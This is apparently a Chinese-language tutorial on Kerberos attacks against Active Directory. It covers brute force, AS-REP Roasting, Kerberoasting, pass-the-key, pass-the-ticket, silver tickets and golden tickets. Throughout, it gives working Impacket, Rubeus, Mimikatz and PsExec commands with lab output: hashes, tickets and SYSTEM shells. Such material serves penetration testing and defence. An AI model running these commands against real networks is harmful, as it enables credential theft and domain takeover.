Kerberos相关攻击手段 主要攻击手段如下,之后详细分析其原理和实操方法。
Kerberos暴力破解
AS-REP Roasting
Kerberoasting
密钥传递
票据传递
白银票据
黄金票据
委派
中继(未尝试)
后面两种攻击手法分开写。
主要工具:
Impacket 的例子,执行与Kerberos相关的Linux攻击,这需要在机器上安装python。
Mimikatz ,用于Windows攻击。
Rubeus ,用于Windows攻击,这需要在计算机上安装可再发行组件3.5。
PsExec ,用于在远程计算机中执行来自 Windows 的命令。
Kerberos暴力破解 Kerberos是一种身份验证协议,因此可以用来进行暴力破解。Kerberos暴力破解比其他协议身份验证暴力破解有更多优势,如下:
无需域账户,只需要能访问KDC。
Kerberos身份验证错误不会在AD中记录正常的登陆失败事件(4625),而是记录Kerberos身份验证失败日志(4771)。
Kerberos验证,即使密码错误,也会先验证用户名(用户名正确和错误返回标记位不一样)。在不知道用户名情况下这种方式更容易爆破。
Kerberos暴力破解中,也有可能在不需要预先认证的情况下发现用户账户,这对进行ASREPRoast攻击很有用。
暴力破解有可能被封账号,需要谨慎使用。
Linux操作 这里使用了代理,并且在使用domian的时候是直接写域即可,不是指向dc的ip地址。成功的账号密码会存入jurassic_passwords.txt,当前目录还会生成成功的TGT票据。
工具连接:https://github.com/TarlogicSecurity/kerbrute
1 proxychains python3 kerbrute.py -domain dt.com -users user.txt -passwords pass.txt -outputfile jurassic_passwords.txt
Windows操作: 在windows情况下有些Rubeus工具带有爆破模块可以使用,但是官网的爆破模块好像不是。
AS-REP Roasting AS-REP Roasting攻击是寻找不需要Kerberos预认证的用户。意味着任何人都可以代表这类用户向KDC发送AS_REQ请求,并接收到AS_REP消息。AS_REP响应中有部分用户密钥临时加密的数据快,该密钥来自其密码。通过这个响应消息密码可以被离线破解。
这种暴力破解是不需要域账号的,只需要请求KDC。但是为了找到没有kerberos预认证的用户需要通过LDAP来检索获取。
Linux操作: GetNPUsers.py这个脚本是Impacket工具套件中的其中一个,它可以列举出哪些用户设置了“Do not require Kerberos pre-authentication”,并获得TGTs。同样的,你也可以保存hash到文件中,然后利用John the ripper进行破解。
1 2 3 proxychains python3 GetNPUsers.py -dc-ip 10.10.10.10 dt.com/ -usersfile user.txt -format john -outputfile hashes.txt john --wordlist=./pass.txt hashes.txt
获取AS-REQ
john工具爆破解密
Windows操作: 1 2 3 4 5 Rubeus.exe asreproast Rubeus.exe asreproast /format:john /outfile:hashes.txt kali: john --wordlist=./pass.txt hashes.txt
获取AS-REQ
自动判断web域用户不需要Kerberos预认证,设置了Do not require Kerberos preauthentication
属性。
然后保存的内容用john工具爆破解密。
Kerberoasting 如果客户端计算机身份验证请求包含有效的用户凭据和服务主体名称 (SPN),则 Kerberos 身份验证服务器将授予一个票证以响应该请求。
Kerberoasting是代表AD中的账号而不是机器账号的服务去请求TGS,因此这些TGS票据的一部分是用户密码加密的,因此这些TGS可以离线破解。加密算法是RC4_HMAC_MD5。
域内的任何一台主机用户或普通域用户,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。
Linux操作 1 root@kali:impacket-examples# python GetUserSPNs.py jurassic.park/triceratops:Sh4rpH0rns -outputfile hashes.kerberoast
Windows操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 C:\Users\web2012\Desktop>Rubeus.exe kerberoast -domain dt.cn ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.6.4 [*] Action: Kerberoasting [*] NOTICE: AES hashes will be returned for AES-enabled accounts. [*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. [*] Searching the current domain for Kerberoastable users [*] Total kerberoastable users : 1 [*] SamAccountName : Administrator [*] DistinguishedName : CN=Administrator,CN=Users,DC=dt,DC=cn [*] ServicePrincipalName : VNC/dc.dt.cn [*] PwdLastSet : 2022 /1 /17 3 :01 :09 [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash : $krb5tgs $23 $ *Administrator$dt .cn$VNC /dc.dt.cn*$986FDE8705AE45A1222DE90FA92D0CD1 $ D2EC7981F1AD353DCF71F0D.......
获取到tgs之后使用Hashcat或John离线爆破
1 2 john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.txt hashcat -m 13100 --force -a 0 hashes.txt passwords_kerb.txt
密钥传递(PTK) 这个攻击的目的是使用用户NTLM的哈希值来请求Kerberos票,作为常见的Pass The Hash over NTLM协议的替代方案。因此,在禁用NTLM协议而只允许Kerberos作为认证协议的网络中,这可能特别有用。
为了进行这种攻击,需要目标用户账户的NTLM哈希值(或密码)。因此,一旦获得用户哈希值,就可以为该账户申请一个TGT。最后,就有可能访问该用户账户有权限的任何服务或机器。
Linux操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 ┌──(kali㉿kali)-[~/impacket/examples] └─$ proxychains python3 getTGT.py dt.cn/administrator -hashes :161cff084477fe596a5db81874498a24 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation [proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK [proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK [*] Saving ticket in administrator.ccache ┌──(root💀kali)-[/home/kali/impacket/examples] └─# export KRB5CCNAME=/home/kali/impacket/examples/administrator.ccache ┌──(root💀kali)-[/home/kali/impacket/examples] └─# proxychains python3 psexec.py dt.cn/administrator@dc.dt.cn -k -no-pass [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation [proxychains] Strict chain ... 192.168.2.73:6005 ... dc.dt.cn:445 ... OK [proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK [*] Requesting shares on dc.dt.cn..... [*] Found writable share ADMIN$ [*] Uploading file zpnStYAe.exe [*] Opening SVCManager on dc.dt.cn..... [*] Creating service lVWe on dc.dt.cn..... [*] Starting service lVWe..... [proxychains] Strict chain ... 192.168.2.73:6005 ... dc.dt.cn:445 ... OK [proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK [proxychains] Strict chain ... 192.168.2.73:6005 ... dc.dt.cn:445 ... OK [!] Press help for extra shell commands [proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK [proxychains] Strict chain ... 192.168.2.73:6005 ... dc.dt.cn:445 ... OK [proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK [-] Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py again with -codec and the corresponding codec Microsoft Windows [�汾 10.0.14393] [-] Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py again with -codec and the corresponding codec (c) 2016 Microsoft Corporation����������Ȩ���� C:\Windows\system32> whoami nt authority\system
Windows操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 C:\Users\Administrator\Desktop>Rubeus.exe asktgt /domain:dt.cn /user:administrator /rc4:161 cff084477fe596a5db81874498a24 /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.6.4 [*] Action: Ask TGT [*] Using rc4_hmac hash: 161cff084477fe596a5db81874498a24 [*] Building AS-REQ (w/ preauth) for : 'dt.cn\administrator' [+] TGT request successful! [*] base64 (ticket.kirbi): doIE6jCCBOagAwIBBaEDAgEWooIEDzCCBAthggQHMIIEA6ADAgEFoQcbBURULkNOohowGKADAgECoREw DxsGa3JidGd0GwVkdC5jbqOCA9UwggPRoAMCARKhAwIBAqKCA8MEggO/+0 Eg1Sq2rH4XQhFahgg9d6Ir WAP5wNecsKzq0JhZXiTvsInFKmVuoM5hIeCy671dolGm2SgbCQmpXDvvVr+UE7f7Ah8TS7/qk/tkzGj5 9 bbK07uA41iM6582WwlTYzo2x1wKFueVquEdFOBwOdR3HH8D3swUdkd0EiZx053iYB07CtydCkkvoNwT p6fvm2tmdMTYlcv09mtVDCatrX879i0zVyTKrfWVfepxMnSP2ESKdYG6S3CZrYsKko5p2J2CwQf0N3Py iZ/i2wBSlVj3JlRrhOIVQXs5BBB40yR/roLPmQiFKLVMYLrgmUN5BPm2mIbnYfg/D8QzZVflZD36hZ99 e1uJ2afQXUWXx8TaohfF8sJLGrPz+DArZbl9L52vF6LnmyvEP0eR0FrhCqd60I0E/hHGncMrdD1s/qrB TRHq+3 Da/r +F/Ct8ouLYP4zVOOXDOCBQ9RnA1g8dgkJG7XcaDMw1d3kLNBI3pDxtki+fBlG0oKt6Nzmw mDLgj1ib7LceQVHiDA0IJKpgVJEQw4wkX038TNBGkG63mP +ld3o3z3/UD/yBQ1tsX+BxwIoEAInDwD3H knojjeixx9UH6inBts/Emi+AltdIIdo1N4dIGrYHO7Uf2LRo4vV2/aSFAjsOttICGR8QkuLfBuBqwLte ScBMD09Q2DroeIvKsjRfrRTega1pqlH6g6qXgZWuIWwMURC0oLourPh0x6FO4S2H86J8Fci/7 S3076E6 gh0HrxO9M+outj/pGsCyP+urXEKk3Mr53+8228 uD+jd7hLr0HHonJc7fhvt8jgXPdW+EruH2iIOYgAyu rFX3oJzfVb/rgOascbVObBDWD/fynfB38Y14qby/0 /cv/NUj1dqp8k3FyHaOuHiK4CZAILKePID2nw5D 5 fXJa5ME9hY9ODhCWapXFaN7TJyXAbkLd51L0Ut2xQECgFA52IVJlMvoAfmJYJg6BLJd5AKCi4wXLTB3 anKCZql9kD+66 o7EjpVd6Uo18Crhiqwd6H1aIKIM/t8gqaOYPiqZ9zslDNih9hUEMOSgiWnTV+aOWYVB 2 FO7DJ8yVfLoaLhJeHX+/QK6MXCe7PAo5JwoN58DMyEdxkyjkiKAfilhFjd6xA43ixflDOHjeNUzj4Lo pQ9fH4lt6ooiZFE+Ol3pnwvAg6sOlZcXzEHp/sDlAEgWpcBN6zXwzGCFHRvFInHt7URBv1C6fWnNIqJg 140 yntbMq1+oy76tAk3Ql0eaQ5N/Wc4x9Wkwd514RvPzhB9CgBNiTWijgcYwgcOgAwIBAKKBuwSBuH2B tTCBsqCBrzCBrDCBqaAbMBmgAwIBF6ESBBAtv2TDFCpRuFtSR02dN6mHoQcbBURULkNOohowGKADAgEB oREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIyMDIyODA2NDM1N1qmERgPMjAyMjAyMjgx NjQzNTdapxEYDzIwMjIwMzA3MDY0MzU3WqgHGwVEVC5DTqkaMBigAwIBAqERMA8bBmtyYnRndBsFZHQu Y24= [+] Ticket successfully imported! ServiceName : krbtgt/dt.cn ServiceRealm : DT.CN UserName : administrator UserRealm : DT.CN StartTime : 2022 /2 /28 14 :43 :57 EndTime : 2022 /3 /1 0 :43 :57 RenewTill : 2022 /3 /7 14 :43 :57 Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : Lb9kwxQqUbhbUkdNnTephw== C:\Users\Administrator\Desktop>dir \\dc.dt.cn\c$ 驱动器 \\dc.dt.cn\c$ 中的卷没有标签。 卷的序列号是 3 A1C-FE21 \\dc.dt.cn\c$ 的目录 2016 /07 /16 21 :23 <DIR > PerfLogs2021 /12 /17 09 :36 <DIR > Program Files2016 /07 /16 21 :23 <DIR > Program Files (x86)2021 /12 /17 14 :34 <DIR > tools2021 /12 /14 10 :56 <DIR > Users2022 /02 /28 14 :30 <DIR > Windows 0 个文件 0 字节 6 个目录 51 ,678 ,773 ,248 可用字节
如果不将参数 /ptt 传递给 Rubeus asktgt ,则票证将显示在 base64 中。以下 Powershell 命令可用于将其写入文件:
最好写绝对路径不然默认到当前用户目录
1 [IO.File ]::WriteAllBytes("ticket.kirbi" , [Convert ]::FromBase64String("" ))
注入票据
1 Rubeus ptt /ticket:ticket.kirbi
票据传递 这种攻击类似于密钥传递,但不是使用哈希来请求票据,而是票据本身被盗并用于作为其所有者进行身份验证。
在linux中查找票据 在 Linux 上,主要类型由3种,在以下为重出现:
文件,默认情况下在 /tmp 目录下,以 krb5cc_%{uid} 的形式出现。
Kernel Keyrings,Linux 内核中用于存储密钥的特殊空间。
进程内存,在只有一个进程需要使用票据时使用。
要验证在特定计算机中使用的存储类型,必须在 /etc/krb5.conf 文件中检查变量default_ccache_name ,默认情况下,该文件对任何用户都具有读取权限。如果缺少此参数,则其默认值为 *FILE:/tmp/krb5cc_%{uid}*。
因此,票据通常保存在文件中,这些文件只能由所有者读取,并且像Linux中的任何文件一样,只能由root读取。如果可以访问这些票据文件,只需将它们复制粘贴到另一台计算机中,它们就可以用来执行Pass The Ticket攻击。
一般也很少碰见。
进程内存和Kernel Keyrings中查找工具:
https://github.com/TarlogicSecurity/tickey
https://rp.os3.nl/2016-2017/p97/report.pdf
在Windows中查找票据 在 Windows 中,票据由负责安全性的 lsass(本地安全机构子系统服务)进程处理和存储,因此,要从Windows系统检索票据,就必定要向lsass请求。
但是,作为非管理用户,只能获取拥有的票证,但是,作为计算机管理员,可以获取所有这些票证。为此,可以使用Mimikatz或Rubeus工具,如下所示:
Mimikatz:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 . . '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz Privilege '20' OK mimikatz Authentication Id : 0 ; 3783425 (00000000 :0039 bb01) Session : Interactive from 4 User Name : admin Domain : WEB006 Logon Server : WEB006 Logon Time : 2022 /3 /1 0 :23 :32 SID : S-1-5-21-361463409-2947024530-2431722618-1000 * Username : admin * Domain : WEB006 * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket Authentication Id : 0 ; 996 (00000000 :000003 e4) Session : Service from 0 User Name : WEB006$ Domain : DT Logon Server : (null) Logon Time : 2022 /2 /28 3 :15 :01 SID : S-1-5-20 * Username : web006$ * Domain : DT.COM * Password : (null) Group 0 - Ticket Granting Service [00000000 ] Start /End /MaxRenew: 2022 /2 /28 23 :42 :11 ; 2022 /3 /1 9 :38 :36 ; 2022 /3 /7 23 :38 :36 Service Name (02 ) : cifs ; ad.dt.com ; @ DT.COM Target Name (02 ) : cifs ; ad.dt.com ; @ DT.COM Client Name (01 ) : WEB006$ ; @ DT.COM Flags 40 a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0 x00000017 - rc4_hmac_nt 5896 b7892013aa717810d4efff821ca5 Ticket : 0 x00000017 - rc4_hmac_nt ; kvno = 5 [... ] * Saved to file [0 ;3 e4 ]-0-0-40a50000-WEB006 $ @cifs-ad .dt.com.kirbi ! ..... mimikatz
使用机器管理员账户,先 privilege::debug
提权,然后查询,查询的票据也会存到当前目录本地。
Rubeus:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 C:\Users\admin\Desktop>Rubeus.exe dump ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.6.4 Action: Dump Kerberos Ticket Data (All Users) [*] Current LUID : 0 x39bb01 UserName : WEB006$ Domain : DT LogonId : 0 x3e4 UserSID : S-1-5-20 AuthenticationPackage : Negotiate LogonType : Service LogonTime : 2022 /2 /28 3 :15 :01 LogonServer : LogonServerDNSDomain : dt.com UserPrincipalName : WEB006$ @dt.com ServiceName : krbtgt/DT.COM ServiceRealm : DT.COM UserName : WEB006$ UserRealm : DT.COM StartTime : 2022 /2 /28 23 :38 :36 EndTime : 2022 /3 /1 9 :38 :36 RenewTill : 2022 /3 /7 23 :38 :36 Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : BHJIs3J8cF7UgGX3Qt6NXw== Base64EncodedTicket : doIEoDCCBJygAwIBBaEDAgEWooIDyDCCA8RhggPAMIIDvKADAgEFoQgbBkRULkNPTaIbMBmgAwIBAqESMBAbBmtyYnRndBsGRFQu Q09No4IDjDCCA4igAwIBF6EDAgECooIDegSCA3aEKX3rFaGA59JTZvxZi2C28Oy0FiFYz7L06/ZkM3I8Ft +fLce7AY1cWGa79gVT PuvzLznh9vaTsc9peTLcS1gWCMKB/4 TBDPe5cavstf1AXagy4DP8qbSfmVgtzp7vXJ+dgWqn4SrzTRD41N/CqMHqAsWN3qGCjIky OZNApQ2o1dhwsMvi+mRRHCeHhhkntFJ0c5eMcnR65nSpWf50dwJn/p81dH5zUkFUAPzfEjc1ycyeM4EPQ95fWLaxkUbw+rAYdkiL i+r3/MfFZ+kHJT80kls2htc5+sofBXwCxnQ7Z/V4lGIclsibqAxEPTXe/CiBM4RrzsP/VElYYzA5yY06Nh8dX+zjPdcS5Ur6LDA+ cNOamgYseNs5QeltUIJ6hGFltdf7drZOBRzXnGj6otP9gkUsceTIjXnRKMdp6PxH7p+z2oLOIu3yT51vRdhnYI7PucTmrDLelQSn KV8zDmi7is3hTqgIQVEt0gjfwjqR5YSp66r43vgP7qJlSiVqnmb3KGlRuSlCzu3BKfhwIjDITS9cuAOd3r263CFDaM7Jgb7FsE82 IYz9GYysMef/sN7C0YN3vwKnuR/kiQDUSr5bU5jN6gMxgjDXFH4Y6DnvM5LMuXZrfLOA/mjXushTHOYTdwcM7b1pAst2wbHrR0/i vOC+mrm77mKuGVUN5o+tmBG9Uo5YraSrgGRlSUFGONtW/Z3FYK+ZqmjUr0aCWOJ9s1L7RlhQxSP9A7e+csX/R5WGnZb4P1uJaew1 ACxpGH7Ji/A9/z3at5zSCgwI9Bfi3wqZuArJnj8qSRLYY9XEkzOmBlsmgUUF+5 tzh658R2dlqMAkVa/q9xvwLgkj9oTny4iBZVQh qPmvMz5CJi06tnxc56VbH0YWLZUpaOFBkX8rEzcGhajJvMo3TC95wztPPAqVbK4vmk39SRMCag9oiIq30hLhGMkyIn7oY6vEXiAh 5 juh4Mx83YcN1f42i3OdNKc9LINS4qfpv5MhYkAgRpnsVcjrOdan1n2B9wEWpODVuCFqc9obNGAkEOTlshKODWO2IYwoGtSdswzA wFh1gcjJ2geBDVKoC3xjIhukFKgYyIKi8C04YjD7PKhioDwvqp37cs59KP3oUs/S4bj8uRAne5SZTdVx2z2Rw4eEx5WKn7PN9eEa KH8j4jXWc2gcMZuDJJk6o4HDMIHAoAMCAQCigbgEgbV9gbIwga+ggawwgakwgaagGzAZoAMCARehEgQQBHJIs3J8cF7UgGX3Qt6N X6EIGwZEVC5DT02iFDASoAMCAQGhCzAJGwdXRUIwMDYkowcDBQBA4QAApREYDzIwMjIwMjI4MTUzODM2WqYRGA8yMDIyMDMwMTAx MzgzNlqnERgPMjAyMjAzMDcxNTM4MzZaqAgbBkRULkNPTakbMBmgAwIBAqESMBAbBmtyYnRndBsGRFQuQ09N ......
Linux和windows票据格式转换 在开始使用票据之前,重要的是要将它们以正确的格式保存,因为Windows和Linux使用不同的方法来保存它们。为了从ccache(Linux文件格式)转换为kirbi(Mimikatz和Rubeus使用的Windows文件格式),反之亦然,可以使用以下工具:
ticket_converter(https://github.com/Zer1t0/ticket_converter)脚本。唯一需要的参数是当前工单和输出文件,它会自动检测输入工单文件格式并进行转换。例如:
1 2 3 4 root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi Converting ccache => kirbi root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache Converting kirbi => ccache
白银票据 纯翻译复制,白银票据与黄金票据类似,只是一个生成TGT,一个生成TGS。而黄金票据使用更多,有详细操作。
银票攻击基于在拥有用户帐户的 NTLM 哈希后为服务制作有效的 TGS。因此,可以通过伪造具有最大权限的自定义 TGS 来访问该服务。
在这种情况下,拥有计算机帐户(在 AD 中属于用户帐户)的 NTLM 哈希。因此,可以制作票证,以便通过SMB服务以管理员权限进入该计算机。
还必须考虑到,可以使用AES Kerberos密钥(AES128和AES256)伪造门票,这些密钥也是根据密码计算的,Impacket和Mimikatz可以使用它们来制作门票。此外,与NTLM哈希不同,这些密钥与域和用户名一起加盐。为了了解有关此键的计算方式的更多信息,建议阅读 MS-KILE 的第 4.4 节 或 Get-KerberosAESKey.ps1 脚本。
在Linux中 像往常一样,可以使用impacket提供的示例从Linux机器执行这些攻击。在本例中,ticketer.py 用于伪造 TGS:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 root@kali:impacket-examples# python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for jurassic.park/stegosaurus [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncTGSRepPart [*] Signing/Encrypting final ticket [*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart [*] EncTGSRepPart [*] Saving ticket in stegosaurus.ccache root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache root@kali:impacket-examples# python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation [*] Requesting shares on labwws02.jurassic.park..... [*] Found writable share ADMIN$ [*] Uploading file JhRQHMnu.exe [*] Opening SVCManager on labwws02.jurassic.park..... [*] Creating service Drvl on labwws02.jurassic.park..... [*] Starting service Drvl..... [!] Press help for extra shell commands Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system C:\Windows\system32>
执行类似于PTT攻击,但在这种情况下,票证是手动创建的。之后,像往常一样,可以在 KRB5CCNAME 环境变量中设置票证,并在任何 impacket 示例中将其与 -no-pass -k 参数一起使用。
在windows中 在Windows中,Mimikatz 可以用来制作票证。接下来,将票证注入Rubeus,最后借助PsExec可以获得远程shell。必须考虑到,可以在不在目标网络中的本地计算机中伪造票证,然后将其发送到网络中的计算机进行注入。执行示例如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 C:\Users\triceratops>.\mimikatz.exe .#####. mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) # # '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park User : stegosaurus Domain : jurassic.park (JURASSIC) SID : S-1-5-21-1339291983-1349129144-367733775 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: b18b4b218eccad1c223306ea1916885f - rc4_hmac_nt Service : cifs Target : labwws02.jurassic.park Lifetime : 28/02/2019 13:42:05 ; 25/02/2029 13:42:05 ; 25/02/2029 13:42:05 -> Ticket : ticket.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz # exit Bye! C:\Users\triceratops>.\Rubeus.exe ptt /ticket:ticket.kirbi ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.3.3 [*] Action: Import Ticket [+] Ticket successfully imported! C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Versión 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami jurassic\stegosaurus C:\Windows\system32>
此外,Mimikatz 模块 kerberos::ptt 可用于注入票证,而不是使用 Rubeus,如 PTT 攻击部分所示。
黄金票据 黄金票据-域权限维持
在渗透测试过程中,攻击者往往会给自己留下多条进入内网的通道,如果我们忘记将 krbtgt 账号重置,攻击者就能快速重新拿到域控制器的权限。
在使用黄金票据(Golden Ticket)攻击时,需要以下信息:
需要伪造的域管理员用户名(一般是域管账户)
完整的域名
域krbtgt SID(就是域成员krbtgt SID去掉最后的)
krbtgt 的 NTLM Hash 或 AES-256 值
1.使用mimikatz查看krbtgt的NTLM hash 使用 mimikatz 导出 krbtgt 的 NTLM Hash:(使用域管权限)
在域控制器中打开mimikatz,分别输入如下命令
1 2 privilege::debug lsadump::lsa /patch /name:krbtgt
NTLM: 7ec8189ebf0ef79ca9be524943a6e90b
mimikatz直接导出krbtgt信息:
1 lsadump::dcsync /domain:dt.com /user:krbtgt
容易出错:
2.获取基本信息 获取域SID
1 wmic useraccount get name,sid
SID:S-1-5-21-957916131-314401718-656287447
获取域管理员账号
1 net group "domain admins" /domain
域管理员账号:Administrator
查询域
域:dt.com
查询当前用户信息
域内普通用户:web2012
3.制作黄金票据并使用 清空内存
使用mimikatz清空当前主机会话中的票据:
生成票据
使用 mimikatz 生成包含 krbtgt 身份的票据:(不需要在域管下执行)
1 kerberos::golden /user:administrator /domain:dt.com /sid:S-1-5-21-957916131-314401718-656287447 /krbtgt:7 ec8189ebf0ef79ca9be524943a6e90b /ticket:Administrator.kiribi
在mimikatz目录下生成Administrator.kiribi 票据文件
传递票据并注入内存
将 Administrator.kiribi 票据放到域成员 web2012机器上然后注入内存:(使用web2012用户运行)
1 kerberos::ptt Administrator.kiribi
查看当先会话中的票据
验证权限
如果想要清除内存中的票据可以使用
1 2 mimikatz -》 kerberos::purge cmd -》 klist.exe purge
使用黄金票据伪造的用户可以是任意用户(即使这个用户不存在),因为 TGT 的加密是由 krbtgt 完成的,所以只要 TGT 被 krbtgt 账户和密码正确的加密,那么任意 KDC 使用 krbtgt 将 TGT 解密后,TGT 中的所有信息都是可信的。
参考文章:
https://www.tarlogic.com/blog/how-to-attack-kerberos/
https://cloud.tencent.com/developer/article/1760135
https://cloud.tencent.com/developer/article/1760133